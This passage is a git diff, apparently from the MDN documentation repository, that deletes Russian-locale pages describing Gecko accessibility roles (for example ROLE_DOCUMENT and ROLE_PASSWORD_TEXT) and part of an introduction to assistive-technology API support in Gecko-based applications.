- Represents a column header, providing a visual label for a column in a table.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROWHEADER">ROLE_ROWHEADER</a></code></dt>
- <dd>
- Represents a row header, which provides a visual label for a table row.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLUMN">ROLE_COLUMN</a></code></dt>
- <dd>
- Represents a column of cells within a table.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROW">ROLE_ROW</a></code></dt>
- <dd>
- Represents a row of cells within a table.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CELL">ROLE_CELL</a></code></dt>
- <dd>
- Represents a cell within a table.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LINK">ROLE_LINK</a></code></dt>
- <dd>
- Represents a link to something else. This object might look like text or a graphic, but it acts like a button.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HELPBALLOON">ROLE_HELPBALLOON</a></code></dt>
- <dd>
- Displays a Help topic in the form of a ToolTip or Help balloon.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHARACTER">ROLE_CHARACTER</a></code></dt>
- <dd>
- Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LIST">ROLE_LIST</a></code></dt>
- <dd>
- Represents a list box, allowing the user to select one or more items.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LISTITEM">ROLE_LISTITEM</a></code></dt>
- <dd>
- Represents an item in a list.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OUTLINE">ROLE_OUTLINE</a></code></dt>
- <dd>
- Represents an outline or tree structure, such as a tree view control, that displays a hierarchical list and allows the user to expand and collapse branches.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OUTLINEITEM">ROLE_OUTLINEITEM</a></code></dt>
- <dd>
- Represents an item in an outline or tree structure.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGETAB">ROLE_PAGETAB</a></code></dt>
- <dd>
- Represents a page tab, it is a child of a page tab list.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PROPERTYPAGE">ROLE_PROPERTYPAGE</a></code></dt>
- <dd>
- Represents a property sheet.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_INDICATOR">ROLE_INDICATOR</a></code></dt>
- <dd>
- Represents an indicator, such as a pointer graphic, that points to the current item.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GRAPHIC">ROLE_GRAPHIC</a></code></dt>
- <dd>
- Represents a picture.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_STATICTEXT">ROLE_STATICTEXT</a></code></dt>
- <dd>
- Represents read-only text, such as labels for other controls or instructions in a dialog box. Static text cannot be modified or selected.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEXT_LEAF">ROLE_TEXT_LEAF</a></code></dt>
- <dd>
- Represents selectable text that allows edits or is designated read-only.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PUSHBUTTON">ROLE_PUSHBUTTON</a></code></dt>
- <dd>
- Represents a push button control.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHECKBUTTON">ROLE_CHECKBUTTON</a></code></dt>
- <dd>
- Represents a check box control.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RADIOBUTTON">ROLE_RADIOBUTTON</a></code></dt>
- <dd>
- Represents an option button, also called a radio button. It is one of a group of mutually exclusive options. All objects sharing a single parent that have this attribute are assumed to be part of single mutually exclusive group.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX">ROLE_COMBOBOX</a></code></dt>
- <dd>
- Represents a combo box; an edit control with an associated list box that provides a set of predefined choices.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DROPLIST">ROLE_DROPLIST</a></code></dt>
- <dd>
- Represents the calendar control.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PROGRESSBAR">ROLE_PROGRESSBAR</a></code></dt>
- <dd>
- Represents a progress bar, dynamically showing the user the percent complete of an operation in progress.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIAL">ROLE_DIAL</a></code></dt>
- <dd>
- Represents a dial or knob whose purpose is to allow a user to set a value.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HOTKEYFIELD">ROLE_HOTKEYFIELD</a></code></dt>
- <dd>
- Represents a hot-key field that allows the user to enter a combination or sequence of keystrokes.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SLIDER">ROLE_SLIDER</a></code></dt>
- <dd>
- Represents a slider, which allows the user to adjust a setting in given increments between minimum and maximum values.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPINBUTTON">ROLE_SPINBUTTON</a></code></dt>
- <dd>
- Represents a spin box, which is a control that allows the user to increment or decrement the value displayed in a separate "buddy" control associated with the spin box.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIAGRAM">ROLE_DIAGRAM</a></code></dt>
- <dd>
- Represents a graphical image used to diagram data.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ANIMATION">ROLE_ANIMATION</a></code></dt>
- <dd>
- Represents an animation control, which contains content that changes over time, such as a control that displays a series of bitmap frames.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_EQUATION">ROLE_EQUATION</a></code></dt>
- <dd>
- Represents a mathematical equation. It is used by MATHML.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONDROPDOWN">ROLE_BUTTONDROPDOWN</a></code></dt>
- <dd>
- Represents a button that drops down a list of items.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONMENU">ROLE_BUTTONMENU</a></code></dt>
- <dd>
- Represents a button that drops down a menu.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONDROPDOWNGRID">ROLE_BUTTONDROPDOWNGRID</a></code></dt>
- <dd>
- Represents a button that drops down a grid.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_WHITESPACE">ROLE_WHITESPACE</a></code></dt>
- <dd>
- Represents blank space between other objects.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGETABLIST">ROLE_PAGETABLIST</a></code></dt>
- <dd>
- Represents a container of page tab controls.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CLOCK">ROLE_CLOCK</a></code></dt>
- <dd>
- Represents a control that displays time.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPLITBUTTON">ROLE_SPLITBUTTON</a></code></dt>
- <dd>
- Represents a button on a toolbar that has a drop-down list icon directly adjacent to the button.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IPADDRESS">ROLE_IPADDRESS</a></code></dt>
- <dd>
- Represents an edit control designed for an Internet Protocol (IP) address. The edit control is divided into sections for the different parts of the IP address.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ACCEL_LABEL">ROLE_ACCEL_LABEL</a></code></dt>
- <dd>
- Represents a label control that has an accelerator.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ARROW">ROLE_ARROW</a></code></dt>
- <dd>
- Represents an arrow in one of the four cardinal directions.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CANVAS">ROLE_CANVAS</a></code></dt>
- <dd>
- Represents a control that can be drawn into and is used to trap events.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHECK_MENU_ITEM">ROLE_CHECK_MENU_ITEM</a></code></dt>
- <dd>
- Represents a menu item with a check box.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLOR_CHOOSER">ROLE_COLOR_CHOOSER</a></code></dt>
- <dd>
- Represents a specialized dialog that lets the user choose a color.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DATE_EDITOR">ROLE_DATE_EDITOR</a></code></dt>
- <dd>
- Represents control whose purpose is to allow a user to edit a date.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DESKTOP_ICON">ROLE_DESKTOP_ICON</a></code></dt>
- <dd>
- An iconified internal frame in an ROLE_DESKTOP_PANE.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DESKTOP_FRAME">ROLE_DESKTOP_FRAME</a></code></dt>
- <dd>
- A desktop pane. A pane that supports internal frames and iconified versions of those internal frames.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIRECTORY_PANE">ROLE_DIRECTORY_PANE</a></code></dt>
- <dd>
- A directory pane. A pane that allows the user to navigate through and select the contents of a directory. May be used by a file chooser.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FILE_CHOOSER">ROLE_FILE_CHOOSER</a></code></dt>
- <dd>
- A file chooser. A specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. May use the directory pane to show the contents of a directory.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FONT_CHOOSER">ROLE_FONT_CHOOSER</a></code></dt>
- <dd>
- A font chooser. A font chooser is a component that lets the user pick various attributes for fonts.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHROME_WINDOW">ROLE_CHROME_WINDOW</a></code></dt>
- <dd>
- Frame role. A top level window with a title bar, border, menu bar, etc. It is often used as the primary window for an application.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GLASS_PANE">ROLE_GLASS_PANE</a></code></dt>
- <dd>
- A glass pane. A pane that is guaranteed to be painted on top of all panes beneath it.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HTML_CONTAINER">ROLE_HTML_CONTAINER</a></code></dt>
- <dd>
- A document container for HTML, whose children represent the document content.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ICON">ROLE_ICON</a></code></dt>
- <dd>
- A small fixed size picture, typically used to decorate components.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LABEL">ROLE_LABEL</a></code></dt>
- <dd>
- Presents an icon or short string in an interface.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LAYERED_PANE">ROLE_LAYERED_PANE</a></code></dt>
- <dd>
- A layered pane. A specialized pane that allows its children to be drawn in layers, providing a form of stacking order. This is usually the pane that holds the menu bar as well as the pane that contains most of the visual components in a window.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OPTION_PANE">ROLE_OPTION_PANE</a></code></dt>
- <dd>
- A specialized pane whose primary use is inside a dialog.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT">ROLE_PASSWORD_TEXT</a></code></dt>
- <dd>
- A text object uses for passwords, or other places where the text content is not shown visibly to the user.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_POPUP_MENU">ROLE_POPUP_MENU</a></code></dt>
- <dd>
- A temporary window that is usually used to offer the user a list of choices, and then hides when the user selects one of those choices.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RADIO_MENU_ITEM">ROLE_RADIO_MENU_ITEM</a></code></dt>
- <dd>
- A radio button that is a menu item.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROOT_PANE">ROLE_ROOT_PANE</a></code></dt>
- <dd>
- A root pane. A specialized pane that has a glass pane and a layered pane as its children. Its children can include scroll bars and a viewport.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SCROLL_PANE">ROLE_SCROLL_PANE</a></code></dt>
- <dd>
- A scroll pane. An object that allows a user to incrementally view a large amount of information.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPLIT_PANE">ROLE_SPLIT_PANE</a></code></dt>
- <dd>
- A split pane. A specialized panel that presents two other panels at the same time. Between the two panels is a divider the user can manipulate to make one panel larger and the other panel smaller.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE_COLUMN_HEADER">ROLE_TABLE_COLUMN_HEADER</a></code></dt>
- <dd>
- The header for a column of a table.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE_ROW_HEADER">ROLE_TABLE_ROW_HEADER</a></code></dt>
- <dd>
- The header for a row of a table.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEAR_OFF_MENU_ITEM">ROLE_TEAR_OFF_MENU_ITEM</a></code></dt>
- <dd>
- A menu item used to tear off and reattach its menu.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TERMINAL">ROLE_TERMINAL</a></code></dt>
- <dd>
- Represents an accessible terminal.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEXT_CONTAINER">ROLE_TEXT_CONTAINER</a></code></dt>
- <dd>
- Collection of objects that constitute a logical text entity.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOGGLE_BUTTON">ROLE_TOGGLE_BUTTON</a></code></dt>
- <dd>
- A toggle button. A specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TREE_TABLE">ROLE_TREE_TABLE</a></code></dt>
- <dd>
- Representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_VIEWPORT">ROLE_VIEWPORT</a></code></dt>
- <dd>
- A viewport. An object usually used in a scroll pane. It represents the portion of the entire data that the user can see. As the user manipulates the scroll bars, the contents of the viewport can change.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HEADER">ROLE_HEADER</a></code></dt>
- <dd>
- Header of a document page.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FOOTER">ROLE_FOOTER</a></code></dt>
- <dd>
- Footer of a document page.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PARAGRAPH">ROLE_PARAGRAPH</a></code></dt>
- <dd>
- A paragraph of text.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RULER">ROLE_RULER</a></code></dt>
- <dd>
- A ruler such as those used in word processors.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_AUTOCOMPLETE">ROLE_AUTOCOMPLETE</a></code></dt>
- <dd>
- A text entry having dialog or list containing items for insertion into an entry widget, for instance a list of words for completion of a text entry.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_EDITBAR">ROLE_EDITBAR</a></code></dt>
- <dd>
- An editable text object in a toolbar.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ENTRY">ROLE_ENTRY</a></code></dt>
- <dd>
- An control whose textual content may be entered or modified by the user.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CAPTION">ROLE_CAPTION</a></code></dt>
- <dd>
- A caption describing another object.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT_FRAME">ROLE_DOCUMENT_FRAME</a></code></dt>
- <dd>
- A visual frame or container which contains a view of document content. Document frames may occur within another Document instance, in which case the second document may be said to be embedded in the containing instance. HTML frames are often ROLE_DOCUMENT_FRAME. Either this object, or a singleton descendant, should implement the Document interface.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HEADING">ROLE_HEADING</a></code></dt>
- <dd>
- Heading.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGE">ROLE_PAGE</a></code></dt>
- <dd>
- An object representing a page of document content. It is used in documents which are accessed by the user on a page by page basis.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SECTION">ROLE_SECTION</a></code></dt>
- <dd>
- A container of document content.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_REDUNDANT_OBJECT">ROLE_REDUNDANT_OBJECT</a></code></dt>
- <dd>
- An object which is redundant with another object in the accessible hierarchy. ATs typically ignore objects with this role.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FORM">ROLE_FORM</a></code></dt>
- <dd>
- A container of form controls.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IME">ROLE_IME</a></code></dt>
- <dd>
- An object which is used to allow input of characters not found on a keyboard, such as the input of Chinese characters on a Western keyboard.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_APP_ROOT">ROLE_APP_ROOT</a></code></dt>
- <dd>
-  ???</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PARENT_MENUITEM">ROLE_PARENT_MENUITEM</a></code></dt>
- <dd>
- Represents a menu item, which is an entry in a menu that a user can choose to display another menu.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CALENDAR">ROLE_CALENDAR</a></code></dt>
- <dd>
- A calendar that allows the user to select a date.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX_LIST">ROLE_COMBOBOX_LIST</a></code></dt>
- <dd>
- A list of items that is shown by combobox.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX_OPTION">ROLE_COMBOBOX_OPTION</a></code></dt>
- <dd>
- A item of list that is shown by combobox</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IMAGE_MAP">ROLE_IMAGE_MAP</a></code></dt>
- <dd>
- An image map -- has child links representing the areas</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OPTION">ROLE_OPTION</a></code></dt>
- <dd>
- An option in a listbox</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RICH_OPTION">ROLE_RICH_OPTION</a></code></dt>
- <dd>
- A rich option in a listbox, it can have other widgets as children</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LISTBOX">ROLE_LISTBOX</a></code></dt>
- <dd>
- A list of options</dd>
-</dl>
-<div class="note">
- <p><strong>Editor's note:</strong> Use template <span class="nowiki"><code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_">ROLE_</a></code></span> to get reference on accessible role. It looks like <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUITEM">ROLE_MENUITEM</a></code>.</p>
-</div>
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html
deleted file mode 100644
index 0116e62762..0000000000
--- a/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: ROLE_DOCUMENT
-slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT
-translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT
----
-<p><a href="/ru/docs/Accessibility:AT-APIs:Gecko:Roles">« Gecko Roles Page</a></p>
-<p>Represents a document window. A document window is always contained within an application window.</p>
-<h2 id="Interfaces" name="Interfaces">Interfaces</h2>
-<ul>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessNode" title="">nsIAccessNode</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessible" title="">nsIAccessible</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleText" title="">nsIAccessibleText</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleEditableText" title="">nsIAccessibleEditableText</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleHyperText" title="">nsIAccessibleHyperText</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleDocument" title="">nsIAccessibleDocument</a></code></li>
-</ul>
-<h2 id="Mapped_to" name="Mapped_to">Mapped to</h2>
-<ul>
- <li>AT-SPI: <code>ROLE_DOCUMENT_FRAME</code></li>
- <li>ATK: <code>ATK_ROLE_DOCUMENT_FRAME</code></li>
- <li>UA: <code>NSAccessibilityGroupRole</code></li>
- <li>MSAA/IA2: <code>ROLE_SYSTEM_DOCUMENT</code></li>
-</ul>
-<h2 id="Used_by" name="Used_by">Used by</h2>
-<ul>
- <li>ARIA: <code><a class="external" href="https://w3c.github.io/aria/#document">document</a></code></li>
- <li>HTML: content document</li>
-</ul>
-<p></p><section class="Quick_links" id="Quick_Links">
-<ol><li><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT">ROLE PASSWORD TEXT</a></li><li><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT">ROLE_DOCUMENT</a></li></ol>
-</section><p></p>
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html
deleted file mode 100644
index 3157da6c12..0000000000
--- a/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: ROLE PASSWORD TEXT
-slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT
-translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT
----
-<p> </p>
-
-<p><a href="/ru/docs/Accessibility:AT-APIs:Gecko:Roles">« Gecko Roles Page</a></p>
-
-<h2 id="Description" name="Description">Description</h2>
-
-<p>A text object uses for passwords, or other places where the text content is not shown visibly to the user.</p>
-
-<h2 id="Mapped_to" name="Mapped_to">Mapped to</h2>
-
-<ul>
- <li>AT-SPI: ROLE_PASSWORD_TEXT</li>
- <li>ATK: ATK_ROLE_PASSWORD_TEXT</li>
- <li>UA: NSAccessibilityTextFieldRole</li>
- <li>MSAA/IA2: ROLE_SYSTEM_TEXT</li>
-</ul>
-
-<h2 id="Used_by" name="Used_by">Used by</h2>
-
-<ul>
- <li>HTML: &lt;input type="password"/&gt;</li>
-</ul>
diff --git a/files/ru/web/accessibility/at-apis/index.html b/files/ru/web/accessibility/at-apis/index.html
deleted file mode 100644
index 43b7f1d8b6..0000000000
--- a/files/ru/web/accessibility/at-apis/index.html
+++ /dev/null
@@ -1,176 +0,0 @@
----
-title: AT APIs Support
-slug: Web/Accessibility/AT-APIs
-tags:
- - AT_APIs
- - Accessibility
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Tech/Accessibility/AT-APIs
----
-<h2 id="Introduction" name="Introduction">Introduction</h2>
-
-<div class="note">Documentation is in progress still. But in the meantime it more up-to-date and contains more details than existed analogues for <a class="external" href="http://developer.mozilla.org/en/docs/Accessibility/AT-SPI_Support">AT-SPI</a> and <a class="external" href="http://wiki.mozilla.org/Accessibility/AT-Windows-API">MSAA</a></div>
-
-<p>This documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms.</p>
-
-<h3 id="Accessible_Gecko" name="Accessible_Gecko">Accessible Gecko</h3>
-
-<p>Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets, Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it.</p>
-
-<h3 id="Gecko_Based_Applications" name="Gecko_Based_Applications">Gecko Based Applications</h3>
-
-<p>Gecko can be used in two ways to create application:</p>
-
-<h4 id="Embedded_Clients" name="Embedded_Clients">Embedded Clients</h4>
-
-<p>Embedded clients use Gecko only in the content window, at the moment for HTML and generic XML only. They typically use standard Windows controls for their user interface -- the area outside of the client content window, plus the context menu.</p>
-
-<ul>
- <li>on Windows platform
- <ul>
- <li>MFCEMBED testing client - this is a very simple package, great for testing basic HTML accessibility with your products and the Gecko rendering engine (please <a href="#Contacts">contact</a> us for a copy).</li>
- <li><a class="external" href="http://kmeleon.sourceforge.net/">K-Meleon</a> - light, ultra-fast and more advanced (fully configurable) Gecko-based web browser available on the Windows platform</li>
- </ul>
- </li>
- <li>on Linux/Unix platform
- <ul>
- <li><a class="external" href="http://live.gnome.org/Yelp">Yelp help viewer</a> - the help viewer in Gnome</li>
- <li><a class="external" href="http://www.gnome.org/projects/evolution/">Evolution email</a> - provides integrated mail, addressbook and calendaring functionality to users of the GNOME desktop.</li>
- </ul>
- </li>
- <li>on Mac platform
- <ul>
- <li><a class="external" href="http://caminobrowser.org/">Camino</a> - web browser for OS X</li>
- </ul>
- </li>
-</ul>
-
-<h4 id="XUL_Applications" name="XUL_Applications">XUL Applications</h4>
-
-<p>XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tree views and dialogs are provided via an XML language called XUL (eXtensible User-interface Language). None of the user interface contains standard OS controls. This is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). Developing a XUL window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets.</p>
-
-<p>Examples of XUL applications:</p>
-
-<ul>
- <li><a class="external" href="http://www.mozilla.com/en-US/firefox/">Firefox</a> - web-browser</li>
- <li><a class="external" href="http://www.mozilla.com/en-US/thunderbird/">Thunderbird</a> - email client</li>
- <li><a class="external" href="http://www.seamonkey-project.org/">Seamonkey</a> - web-browser, advanced e-mail and newsgroup client, IRC chat client, and HTML editing made simple</li>
- <li><a class="external" href="http://www.mozilla.org/projects/calendar/sunbird/">Sunbird</a> - cross-platform calendar application</li>
- <li><a class="external" href="http://www.kompozer.net/">KompoZer</a> - a complete Web Authoring System for Linux Desktop, Microsoft Windows and Macintosh users to rival programs like FrontPage and Dreamweaver.</li>
